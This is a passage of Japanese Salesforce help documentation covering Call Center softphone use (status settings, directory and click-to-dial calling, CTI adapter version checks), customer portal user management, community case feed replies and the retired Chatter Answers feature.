ヒント: バージョン 4.0 の CTI Toolkitで作成された CTI アダプタを使用している場合、ブラウザのタブを 1 つ
だけ開いて、外部 Web ページや、サイドバーのないSalesforceページ (ダッシュボードなど) に移動すると、
8 時間後にソフトフォンから自動的にログアウトされます。自動ログアウト時間はシステム管理者が行っ
たソフトフォンの設定に基づいているため、異なる場合があります。ログイン状態を保持するには、[ホー
ム] ページや [ケース] ページなど、サイドバーのある Salesforce ページを少なくとも 1 つのブラウザタブで
開いたままにしてください。Salesforce コンソールでは、自動ログアウトは行われません。

関連トピック:

ソフトフォンの使用
CTI アダプタのバージョンのチェック
Salesforce CRM Call Center システム要件
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コールセンターの状態の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターの状態を
変更する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center へのログイン中に、ソフトフォンに電話を受信したくな
い、または離席する必要がある場合があります。ソフトフォンの アイコンの
横にあるコールセンターの状態を設定することで、電話の受信を拒否できます。
コールセンターの状態には次の値を設定できます。

説明コールセンターの状態

現在通話中でなく、次の直通または
キュー内の電話を受信する準備が整っ
ている場合。

通話準備完了

現在通話中ではないが、次の直通また
はキュー内の電話を受信する準備が
整っていない場合。
この状態では、自分の内線番号へ直接
発信された電話は受信します。

通話準備未完了

現在通話中であり、直接またはキュー
内の電話を受信できない場合。

通話中

現在通話中で、この通話の終了後すぐ
に [通話準備未完了] 状態に移行したい
場合。

ラップアップ

コールセンターの電話システムからは
ログアウトするが、Salesforce へのログ

ログアウト

イン状態は保ちたい場合。このオプ
ションを選択すると、Salesforce CRM Call

Center によってコールセンターへの接
続が自動的に切断され、ソフトフォン
ログイン画面が表示されます。

Salesforce CRM Call Centerへの最初のログイン時には、コールセンターの状態は自動的に [通話準備未完了] に設定
されます。電話を受信できるようにするには、ドロップダウンリストから [通話準備完了] を選択する必要があ
ります。
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メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
ソフトフォンへのログイン
ソフトフォンを使用した通話の発信
ソフトフォンを使用した通話のラップアップ

コールセンターディレクトリの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターディレク
トリを使用する
• 「コールセンターのメ

ンバー」

各コールセンターには、システム内のレコードに関連付けられた電話番号だけ
でなく、そのコールセンターに属するユーザすべての名前と電話番号も格納し
たディレクトリがあります。
コールセンターディレクトリを使用する手順は、次のとおりです。
1. ソフトフォンで、通話可能な使用回線名を選択します。回線を選択すると、

その回線のダイアルパッドが開きます。ダイアルパッドの横にある アイ
コンをクリックし、コールセンターディレクトリを開きます。

2. コールセンターディレクトリで目的の電話番号を検索します。
a. [オブジェクトの選択]ドロップダウンリストで、検索したいレコードタイ

プを選択します。このリストには、電話番号項目が関連するオブジェク
トがすべて含まれています。

b. [検索]テキストボックスに、検索する名前またはその一部を入力します。
c. [Go]をクリックして、検索テキストが含まれるレコードのみのリストを表

示します。

3. 目的の電話番号が見つかったら、その電話番号に関連付けられているレコー
ド名をクリックすると、ソフトフォンに自動的に電話番号が入力されます。

4. [発信] をクリックし、電話をかけます。

関連トピック:

Salesforce コールセンター
ソフトフォンの使用
ソフトフォンを使用した通話の発信
ソフトフォンを使用した会議通話
ソフトフォンを使用した通話の転送
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ソフトフォンを使用した通話の発信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を発信する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center では、3 つの方法で電話をかけることができます。
• 手動でダイヤルする
• コールセンターディレクトリを使用する
• クリック-to-ダイヤルを使用する
通話中の場合、[新規回線]をクリックすると別の回線から通話を発信できます。
元の通話者との回線を接続した状態で、新規回線で新たな電話番号を入力する
ことができます。[発信]をクリックすると、元の通話者が保留状態になり、新し
い通話が開始されます。
コールセンターの状態が [通話準備完了] に設定された状態で通話を発信すると、
状態が [通話準備未完了] に移行します。理由コードを入力する必要があります。
発信した通話を終了するには、[通話を終了する]をクリックします。電話システ
ムによっては、ソフトフォンからの発信に応答のない間は通話が終了できない
場合があります。この場合、[通話を終了する]ボタンは表示されないため、受話
器を使って通話を終了する必要があります。
ダイアルした電話番号が話中の場合はメッセージが表示され、再度発信するか、
発信をキャンセルできます。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center機能の一部は、組織でのカスタマイズ
またはソフトフォンが構築された CTI Toolkit の状況によってはソフトフォンで使用できない場合がありま
す。詳細については、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
ソフトフォンを使用した通話の保留
ソフトフォンを使用した会議通話
ソフトフォンを使用した通話の転送
ソフトフォンを使用した通話のラップアップ
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手動で電話番号をダイアルして通話を発信する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を発信する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Centerで、手動で電話番号をダイヤルして電話をかける手順は、
次のとおりです。
1. ソフトフォンで、通話可能な使用回線名を選択します。回線を選択すると、

その回線のダイアルパッドが開きます。
2. ダイアルパッドにある番号ボタンをクリックするか、キーボードで番号を打

ち込んで、発信する電話番号を入力します。
3. [発信] をクリックするか、キーボードの Enter キーを押します。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center 機能の
一部は、組織でのカスタマイズまたはソフトフォンが構築された CTI Toolkit

の状況によってはソフトフォンで使用できない場合があります。詳細につ
いては、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
コールセンターディレトクリを使用して通話を発信する
クリック-To-ダイヤルを使用して通話を発信する

コールセンターディレトクリを使用して通話を発信する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を発信する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center で、コールセンターディレクトリを使用して電話をかけ
る手順は、次のとおりです。
1. ソフトフォンで、通話可能な使用回線名を選択します。回線を選択すると、

その回線のダイアルパッドが開きます。
2. ダイアルパッドの横にある アイコンをクリックし、コールセンターディ

レクトリを開きます。
3. ディレクトリを使用して、発信する電話番号を探します。
4. 電話番号が見つかったら、電話番号に関連付けられている名前をクリックし

て、ダイアルパッドに番号を自動入力します。
5. [発信] をクリックするか、キーボードの Enter キーを押します。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center 機能の
一部は、組織でのカスタマイズまたはソフトフォンが構築された CTI Toolkit

の状況によってはソフトフォンで使用できない場合があります。詳細につ
いては、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
手動で電話番号をダイアルして通話を発信する
クリック-To-ダイヤルを使用して通話を発信する
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クリック-To-ダイヤルを使用して通話を発信する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通話を発信する
• 「コールセンターのメ

ンバー」

Salesforce CRM Call Center を使用して、取引先責任者、リード、活動、または取引
先の [電話] 項目から直接電話をかける手順は、次のとおりです。
1. 取引先責任者、リード、活動、または取引先で発信する電話番号を探しま

す。
2. 電話番号の右側にある ボタンをクリックします。最初の使用可能なソフ

トフォン回線から、電話番号に自動的に発信されます。
• 電話番号を一度クリックすると、5 秒間は同じ番号を再度クリックできま

せん。
• ボタンは Fax 番号の横には表示されません。

メモ: このヘルプシステムで説明されている Salesforce CRM Call Center 機能の
一部は、組織でのカスタマイズまたはソフトフォンが構築された CTI Toolkit

の状況によってはソフトフォンで使用できない場合があります。詳細につ
いては、システム管理者に問い合わせてください。

関連トピック:

ソフトフォンの使用
手動で電話番号をダイアルして通話を発信する
コールセンターディレトクリを使用して通話を発信する

CTI アダプタのバージョンのチェック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンピュータにインストールした CTI アダプタのバージョンを確認する手順は、
次のとおりです。
1. インストールした場所から CTI アダプタを実行します。たとえば、[スタート]

メニューから、[すべてのプログラム] > [Salesforce.com] > [CTI Adapter 2.0] >

[Salesforce Adapter 2.0] を選択します。
2. コンピュータのシステムトレイの アイコンを右クリックします。システ

ムトレイは画面右下隅にある時計の横に表示されます。
3. [バージョン情報...] をクリックします。

CTI アダプタのバージョンが [CTI コネクタ] の下に表示されます。

メモ:  CTI Toolkit バージョン 4.03 で作成された CTI アダプタを使用している場
合、Firefox または Chrome ブラウザを使用すると、ポップアップウィンドウ
が表示されます。このポップアップウィンドウは、Salesforce CRM Call Center
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への接続を維持するために、ユーザのマシンに表示されている必要があります。

関連トピック:

Salesforce コールセンター
Salesforce CRM Call Center システム要件
ソフトフォンへのログイン

ポータルおよび Web コミュニティへの返信

アイデアおよび質問のコミュニティ活動の表示

エディション

使用可能なエディション:
Salesforce Classic

アイデアを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アイデアおよび質問で自分が行った投稿の数、自分が受け取ったいいね! の数な
どの活動の統計情報がプロファイルページに表示されるため、コミュニティへ
の参加を他のユーザが確認できます。
自分のプロファイルを表示するには、アプリケーションにある自分の名前をク
リックします。また、[プロファイル] タブをクリックするか、ページ上部のあ
なたの名前  > [私のプロファイル]をクリックして、プロファイルを表示すること
もできます (利用可能な場合)。他のユーザのプロファイルを表示するには、その
ユーザの名前をクリックします。
コミュニティ活動は自分のプロファイルの [概要] タブに表示されます。活動履
歴には、他の人への自分の活動が表示されます。また、コミュニティの他のメ
ンバーのプロファイルを確認するときに、その活動を評価することもできます。
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組織でChatter アンサーが有効になっている場合、次の活動の合計数が自分のプロファイルページに表示されま
す。
• 自分が行った質問
• 自分が回答した質問
• 最良の回答で自分が解決した質問
[質問] をクリックすると [Q&A] タブに戻ります。
システム管理者がアイデアの [評価] を有効にしている場合、次の活動の合計数が自分のプロファイルページ
に表示されます。
• 自分が作成したアイデア
• 自分が受け取ったコメント
• 自分が投票したコメントおよびアイデア
[アイデア] をクリックすると [アイデア] タブに戻ります。
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カスタマーポータルユーザの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

メモ: 大規模ポータルユーザは、数千から数百万のユーザを対象とするカ
スタマーポータルまたはコミュニティで使用できます。「大規模ポータル
ユーザ」 (ページ 2876)を参照してください。

カスタマーポータルユーザを管理するときの共通の ToDo の一部は次のとおりです。
• ユーザのカスタマーポータルを設定
• [取引先責任者] タブからカスタマーポータルユーザを個別に有効化
• カスタマーポータルユーザを無効および非アクティブ化
• カスタマーポータルユーザの情報とロールの変更
• カスタマーポータルユーザの取引先の変更
• カスタマーポータルユーザのマージ
• カスタマーポータルユーザのパスワードのリセット
• カスタマーポータルユーザのユーザライセンスの表示
• 大規模ポータルユーザにオブジェクトのレコードへのアクセスを許可
• 大規模ポータルユーザのレコードを Salesforce ユーザと共有
• カスタマーポータルユーザの権限とアクセス設定の管理
• プロファイルをカスタマーポータルに割り当て
• カスタマーポータルユーザ管理、およびケースおよび取引先責任者管理をポータルユーザに委譲
• カスタマーポータルユーザに関するレポートを作成

ヒント: カスタマーポータルユーザの問題をトラブルシューティングするには、ポータルユーザの取引先
責任者の詳細ページで [Manage External User (外部ユーザを管理)] をクリックして [ユーザとしてポータル
にログイン]を選択します。新規ブラウザウィンドウが開き、自動的にパートナーユーザとしてポータル
にログインできます。このオプションを使用して、ポータルを適切に設定できます。
[ユーザとしてポータルにログイン]ボタンを使用するには、「セルフサービスユーザの編集」権限と取引
先に対する「編集」アクセス権を持っている必要があります。[ユーザとしてポータルにログイン]ボタン
は、無効になっているポータルユーザには表示されません。
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ケースフィードの [コミュニティ] アクションによるケースおよびコミュニティの質問への投
稿

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルまた
はコミュニティのケース
投稿を作成する
• ケースに対する「編

集」

コミュニティまたはカスタマーポータルから作成されたケースの場合、ケース
フィードの [コミュニティ] アクションが、顧客に回答するデフォルトオプショ
ンです。
カスタマーポータルまたはコミュニティのケースに投稿する
1. ケースフィードページの [顧客への回答] をクリックします。
2. をクリックして、[コミュニティ] を選択します。

システム管理者によるケースフィードの設定方法によっては、最初に [顧客
への回答] をクリックせずに [コミュニティ] をクリックできる場合がありま
す。

3. 顧客へのメッセージを入力します。

4. Chatter の質問または Chatter アンサーで質問からエスカレーションされたケースで作業している場合、投稿
を参照可能なユーザを選択します。
• 非公開の返信として回答を投稿するには [顧客のみ]、公開の返信として投稿するには [全員] を選択しま

す。
• [顧客ケース]を選択すると、そのケースにアクセスできるすべての内部ユーザと外部ユーザに投稿が表

示されます。[コミュニティの質問]を選択すると、コミュニティユーザの質問に対する公開回答を投稿
できます。[顧客ケース] を選択し、Salesforce システム管理者がコミュニティケースフィードを有効にし
ている場合は、ケースコメントではなく Chatter 投稿を作成します。
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5. 必要に応じて、[メールを送信] を選択し、顧客の質問への返信がケースに投稿されたことを知らせるメッ
セージを顧客に送信できます。

メモ: このオプションは、システム管理者がオプションを有効化していて、返信先の顧客がケースに
関連付けられ、有効なメールアドレスを持っている場合にのみ使用できます。組織でコミュニティ
ケースフィードを使用し、Chatter ケース投稿のメール通知が有効になっている場合、ユーザには、ケー
スに対する公開投稿に関するメール通知が自動的に送信され、このオプションは表示されません。

6. 必要に応じて、投稿にナレッジ記事を添付します。
7. ボタンをクリックして投稿を公開します。

メモ: 組織でコミュニティケースフィードが有効になっている場合は、公開後にケース投稿の表示を変更
できます。詳細は、「コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示」
を参照してください。

関連トピック:

ケースフィードからのメールの送信およびメールへの返信
ケースフィードの概要
コミュニティケースフィード

アンサーの概要

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサー用語集
アンサーの特性と機能の説明に次の用語が使用されます。
アンサー

アンサーは、コミュニティアプリケーションの機能の 1 つです。この機能に
より、ユーザが質問したり、コミュニティメンバーが返信を投稿したりする
ことができます。コミュニティメンバーは、それぞれの回答の役立ち度につ
いて投票し、また質問したユーザは最良の回答として回答をマークできま
す。

最良の回答
アンサーコミュニティのメンバーが質問し、他のコミュニティメンバーが回
答を投稿すると、質問者は回答のいずれかを最良の回答としてマークできま
す。最良の回答は、質問の真下 (その他の回答の上) に表示されます。最良の回答を指定することにより、
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同じ質問のある他のコミュニティメンバーが関連性の最も高く、役立つ情報をすぐに見つけることができ
ます。

コミュニティ
コミュニティは、カスタマイズ可能な、従業員、顧客、およびパートナーがベストプラクティスやビジネ
スプロセスにおいてコラボレーションを行うための、公開または非公開のスペースです。

アンサーのデータカテゴリ
[アンサー] タブで、データカテゴリを使用して、アンサーゾーンの質問を分類できます。たとえば、ハー
ドウェア製品に関するゾーンには、データカテゴリとしてラップトップ、デスクトップ、プリンタなどが
あることが考えられます。ゾーンメンバーは、特定のカテゴリ内をすばやく参照し、質問に対する回答を
見つけることができます。管理者は、データカテゴリを使用して質問へのアクセスを制御します。

アイデア
アイデアは、アイデアコミュニティのメンバーが投稿し、ゾーン別に整理された提案です。たとえば、ゾー
ンのテーマが「車の機能に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「飲み
物の温度を維持する耐熱性のカップホルダー」のようなアイデアが考えられます。または、ゾーンのテー
マが「当社の福利厚生に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「職場の
託児所」のようなアイデアが考えられます。

質問
アンサーコミュニティに投稿された問題です。コミュニティメンバーが質問すると、他のコミュニティメ
ンバーが質問の解決に役立つ回答を投稿します。

回答
アンサーコミュニティの質問に対する回答です。コミュニティメンバーが質問に対して回答すると、質問
したメンバーは、いずれかの回答を質問を解決するための最良の回答としてマークできます。

投票、回答
アンサーコミュニティで、投票は質問に対する回答が参考になったかどうかを示します。

ゾーン
ゾーンでは、アイデアおよび質問を論理グループに整理します。ゾーンには、それぞれ独自のテーマ、固
有のアイデアや質問があります。

アイコンの説明

説明アイコン

解決された質問です。質問を解決するために、質問したメンバーは回答を最良の回答
に選択します。

コミュニティメンバーが回答している質問です。たとえば、このアイコンは回答数が
4 の質問を示します。回答がない場合、このアイコンには 0 が表示されます。

質問への回答です。

質問に対する最良の回答であるとマークされた回答です。
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アンサーの使用

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサーは、コミュニティアプリケーションの機能の 1 つです。この機能によ
り、ユーザが質問したり、コミュニティメンバーが返信を投稿したりすること
ができます。コミュニティメンバーは、それぞれの回答の役立ち度について投
票し、また質問したユーザは最良の回答として回答をマークできます。
[アンサー] タブでは、次の操作が可能です。
• 質問する
• 質問に対する回答を見つける
• 質問に回答する
• 回答に投票する
• 回答を質問に対する最良の回答として特定する
• すべての質問と回答を表示する
• 返信を知識ベースの記事に変換する
• 質問をケースにエスカレーションする
アンサーホームページの右側では、最近の質問や最近回答があった質問、一週間以上未処理の質問を表示し
て、最近の活動のスナップショットを提供します。
回答に対して「参照」、「作成」、「編集」、および「削除」すべての権限を持つのは、システム管理者のみ
です。まだ回答がないか、投票されていない場合、標準ユーザおよびポータルユーザは自身の質問を削除でき
ます。

関連トピック:

アンサーの概要
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質問する

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

質問する手順は、次のとおりです。
1. [アンサー] タブから質問を入力して [質問する] をクリックします。

ゾーン内にある他の質問のタイトルや説明が検索され、類似した質問が表示
されます。同じ質問がすでに投稿されている場合、質問のタイトルをクリッ
クすると、他のゾーンメンバーがその質問に対して投稿した回答が表示され
ます。
また、[やり直し] をクリックして、同様の質問の結果をクリアし、別の質問
を投稿することもできます。

2. 同じ質問が投稿されていない場合は、[次へ] をクリックします。
3. 質問の説明を入力します。HTML エディタを使用して、テキストの形式を設定

するか、画像をアップロードします。
4. 質問のカテゴリを選択します。カテゴリを割り当てない場合、コミュニティのすべての質問を表示または

検索する必要があるため、質問を見つけにくい場合があります。
5. [質問の投稿] をクリックします。
質問したら、コミュニティメンバーが回答を投稿するのを待ちます。質問を解決する回答を最良の回答として
選択できます。

関連トピック:

アンサーの概要
アンサーの使用
質問への回答
ケースへの質問のエスカレーション
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[質問] タブからの質問の作成

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[質問] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

メモ: 質問に関する項目はシステム管理者が決定するため、項目によって
は次の手順に含まれていない可能性があります。

[質問] タブは、アプリケーションとコンソールの両方で、自分がモデレートおよ
び管理するゾーンに質問するために使用できます。コミュニティメンバーに情
報提供や意見を求めることで、容易にトピックへの関心を評価したり、コミュ
ニティ内でエンゲージメントを高めたりできます。
[質問] タブからコミュニティに質問を投稿する手順は、次のとおりです。
1. 質問リストビューページで [新規質問]をクリックするか、[質問] 概要ページ

の [最近の質問] リストで [新規] をクリックします。
2. 質問するゾーンを選択します。
3. 質問のタイトルを追加します。
4. 必要に応じて、質問の説明を入力します。

テキストを書式設定したり、画像をアップロードしたりするには、リッチテキストエディタを使用します。
画像をフィードに正しく表示するには、画像の幅を 450 ピクセル未満にすることをお勧めします。

5. 質問のカテゴリを選択します。
質問をコミュニティに表示するには、質問にカテゴリを割り当てる必要があります。カテゴリのない質問
は、質問の所有者には表示されますが、コミュニティの他のメンバーには表示されません。

6. [保存] をクリックします。
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質問の編集と削除

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

質問を編集する
• 質問に対する「編集」

質問を削除する
• 質問に対する「削除」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

質問に対しまだ回答がない場合、標準ユーザは自身の質問を削除できます。質
問にすでに回答がある場合は、質問者はその質問を削除できません。Salesforce

システム管理者として、コミュニティに投稿された質問を編集または削除する
ことはできます。たとえば、アンサーコミュニティを監視したり、不適切な内
容または攻撃的な言葉を含む質問を編集または削除できます。
質問を編集または削除する手順は、次のとおりです。
1. 質問のタイトルをクリックして、質問の詳細ページを表示します。
2. ページ上部の [編集] または [削除] をクリックします。質問を編集する場合、

タイトルまたは説明を変更したり、質問の異なるカテゴリを選択したりでき
ます。質問を削除すると、質問 (および関連するすべての回答) はごみ箱に移動します。

攻撃的な言葉が投稿されないようにするために、質問する場合に特定の語をユーザが入力できないようにする
入力規則を作成することもできます。
入力規則を作成するには、Chatter アンサーの質問およびChatter アンサーの返信のオブジェクト管理設定から、
[入力規則] に移動します。
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質問の検索と表示

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

質問を検索するにはいくつかの方法があります。
• コミュニティまたはカテゴリ内のすべての質問を参照する。
• [アンサー] タブの [検索] 項目を使用して質問を検索します。この項目は、質

問と回答のタイトル項目および説明項目を検索し、合致する結果を表示しま
す。

質問を検索した後、質問のタイトルをクリックすると質問詳細ページが開き、
そのページには質問のすべての回答が表示されます。質問の詳細ページには、
各回答が参考になったメンバーおよび参考にならなかったメンバーの数が表示
され、また質問の最良の回答も表示されます (選択されている場合)。
質問の詳細ページでは、次のことを実行できます。
• 質問に回答する。
• 回答に投票する。
• 回答を最良の回答に選択する。質問者である場合、または Salesforce システム管理者である場合にのみ最良

の回答を選択できます。
質問がすでに解決している場合、質問の上の [「未回答」としてマーク] をクリックしてその質問を再度開
きます。

• 次の条件で回答をソートできます。
– 最新の回答: 最近投稿された回答をリストの上部に表示します。
– 最も古い回答: 最も古い回答をリストの上部に表示します。
– 投票数が最も多い回答:「参考になった」および「参考にならなかった」の数の合計が最も多い回答をリ

ストの上部に表示します。

関連トピック:

アンサーの概要
アンサーの使用
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ゾーンまたはカテゴリ内の質問の参照

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アンサー] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

回答に投票する
• 質問に対する「参照」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

ゾーンまたはカテゴリ内のすべての質問を表示するには、[アンサー] タブに移動
し、[回答を得る]ヘッダーの下に表示されたゾーン名またはカテゴリをクリック
します。

ゾーン内の質問の参照
ゾーン名をクリックしてゾーンのすべての質問を表示した後、次のことができ
ます。
• 質問する。
• 未処理または解決済みの質問だけを表示するよう、質問を絞り込む。質問し

たメンバーが回答のいずれかを最良の回答として選択した場合、質問は解決
済みとみなされます。質問が解決した場合でも、コミュニティメンバーは、
回答の投稿と投票を続けることができます。

• 次の条件による質問のソート。
– 最近の活動: 最近回答のあった質問がリストの上部に表示されます。
– 最新の質問: 最近投稿された質問をリストの上部に表示します。
– 最も古い質問: 最も古い質問をリストの上部に表示します。

• 質問の下の [返信] をクリックして、回答を投稿します。
• カテゴリをクリックすると、そのカテゴリに関連するすべての質問を表示します。

ゾーン内のすべてのカテゴリは、ページ上部のゾーン名の下に表示されます。

質問アイコンは、質問が解決済みか、また未処理かを示します。

カテゴリ内の質問の参照
コミュニティメンバーが質問すると、1 つのカテゴリと質問を関連付け、コミュニティ内で見つけやすくしま
す。カテゴリと関連するすべての質問を参照するには、カテゴリ名をクリックして、カテゴリ詳細ページを表
示します。
次の場所からカテゴリをクリックできます。
• 質問を表示する場合、質問に関連するカテゴリが質問の説明の下に表示されます。
• ゾーン内で質問を参照する場合、ゾーン内のすべてのカテゴリがゾーン名の下に表示されます。
• アンサーホームページで、ゾーン内のすべてのカテゴリがゾーン名の下に表示されます。
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カテゴリの詳細ページでは、次の操作を実行できます。
• 表示しているカテゴリと自動的に関連付けられる質問をする。
• カテゴリと関連するすべての質問を表示、または未処理あるいは解決済みの質問のみを表示するよう、質

問を絞り込む。質問したメンバーが回答のいずれかを最良の回答として選択した場合、質問は解決済みと
みなされます。質問が解決した場合でも、コミュニティメンバーは、回答の投稿と投票を続けることがで
きます。

• 次の条件による質問のソート。
– 最近の活動: 最近回答のあった質問がリストの上部に表示されます。
– 最新の質問: 最近投稿された質問をリストの上部に表示します。
– 最も古い質問: 最も古い質問をリストの上部に表示します。

